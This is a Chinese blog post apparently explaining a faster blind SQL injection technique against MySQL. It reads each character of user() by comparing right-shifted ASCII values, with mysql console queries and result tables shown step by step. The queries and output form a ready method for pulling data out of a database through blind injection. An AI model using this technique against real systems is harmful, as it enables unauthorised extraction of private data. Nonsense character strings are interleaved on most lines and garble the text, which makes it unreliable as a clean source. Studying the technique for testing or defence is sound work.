关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

9 N. `3 f! K# X2 U) [

: z/ d, U7 w9 i) J下面将以查询mysql数据库当中user()的第一位为例:

, W9 s( \6 L6 H2 G  C, G* w
- K3 z( v: ]) W9 [! v
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
' o+ T' w4 p% V: S9 U, A

: S7 H! \$ I# @0 G) |9 @2 G
首先执行如下sql语句:
& x6 p6 e# f4 T; ^- ]0 w, W+ q
; @8 s7 x6 K1 A
! B# _( d4 W; a+ p3 G0 b4 m* O. R, m: x. @
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

: _/ e0 M6 j7 c" e2 z" T

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


+ M) I( ^5 u/ z5 D! }4 g' m  V
+ E( D( L" L' f! ~2 v' d' K8 f第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

# J  @! _1 r, O3 t* G$ u
) E. h$ _' Z# ?  v
  ^  V# G) S' |3 I' S, V如果运算结果为1,说明第一位为0,不为1


/ ?' T0 Y! ^- X# T+ q6 l
  g6 C) c$ Y/ P0 _+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
- K* x5 Y. ^# ?8 @# M7 O
+————————————–+
2 F4 _  I$ Q* x- w' j
| 1 |

* H6 K$ F/ A) M$ d/ m( }+————————————–+
) l- Y3 ]/ k! }6 R' m3 d
" `7 ^+ G+ L  q; f0 X' S) @; X: T& F1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0


5 n" A4 D/ D9 \
' d* v8 N) W# W4 `第二次我们来做6次右偏移来确定前两位
0 @2 |7 A! K8 ]" t. S3 u
) S1 U+ w4 e; E/ C
7 B1 U7 B+ l8 M" Z
前两位可能是01或00,即依然可以与0做比较,

. _, I' ~* F; ~mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ ^7 \/ B& l2 s8 O
; [: P$ E# U3 _" p1 W, y" I3 A+————————————–+

% L' c9 J) w' P! _3 D/ ?/ }% U| (ascii((substr(user(),1,1))) >> 6)=0 |

8 S- j% ]. V% Z2 K1 T+————————————–+
4 M/ w( j; T# D  ?  f
$ }& y1 W0 H4 n3 ^5 G| 0 |
) A% u- ^6 d; S8 e% D0 Q2 r5 G5 X: B
" @9 x9 F# h$ M1 T+————————————–+
+ S5 ~, v0 S; N9 }
1 row in set (0.00 sec)


% }. G2 S( ^1 k5 c# X2 f% i6 j
结果为0,即第二位为1
2 U: f' `0 u$ h$ h& l6 ]+ N2 l" _

6 j: B6 Z) s. m8 S  h
/ ^, \; l: [9 \  w' Y8 H4 N) a% p开始猜测前三位为010或011
& ~4 E2 b$ r4 Q% O; M
7 ?, E. z/ @5 W  Z. B7 A
+ r, O6 m  o6 e6 C- b$ C! }/ C1 ~
让我们看看010和011的ascii码是多少



& V5 l0 i  i* h! }分别查询select b’011′ select b’010′


$ C7 j' I! I0 P1 e* G2 C
$ M4 k+ ?) n" V3 B; }获得结果 010 = 2 011 = 3

; [7 u6 \' v' u

0 D! `/ s# m5 \9 F8 g- U4 g4 ~; e执行如下sql:


4 H, h4 x- d; T0 u$ I: z
$ s; d& K4 J6 c# `mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+ c' A* C1 y, I  I% k2 e3 C
+————————————–+

, ^! O  n+ f" @* [& d/ {" b| (ascii((substr(user(),1,1))) >> 5)=2 |
( W+ P3 y) k! z% L$ D0 m3 P$ C0 z
# K3 ^( f5 N* j" P1 L7 g0 }) r+————————————–+

8 H1 L5 C% O, n6 P4 W( [| 0 |

6 g6 Y' ~1 o+ A2 _/ a( [5 U. W+————————————–+

即前三位不为010,而是011



直到获得最后一位



5 U# ?0 B+ C( s最终结果为:01110010


7 P( p) f+ A* n  ?% v. v& \
转换一下:

( `5 |3 v% U7 d2 j# X. q
9 o4 k/ q0 a0 [9 @* E: A8 b# p
/ j% S+ T. |  W- gselect b’01110010′



查询结果
4 Q9 L9 G1 L1 C$ k5 T% x& N
  Y1 }  V: _" v1 ]$ w! B
( B3 @- ?8 d5 @1 c" \5 @6 _- f
+————-+

6 ], D/ O9 L5 z9 G6 T+ G7 E; i: h| b’01110010′ |

+————-+

' g& ?" e( E- J! q3 |& T& f| r |

. r8 S" H7 J' T+————-+

, K& E. Q# U/ r4 b5 D1 row in set (0.00 sec)


" a" \/ P4 ^9 r& Y) E' v1 `- z) ]
$ @" |8 o' J, k( k这样我们就获得了user()的第一位.其它位依此类推

) q* [! ^& a* t+ e  }' `/ g. d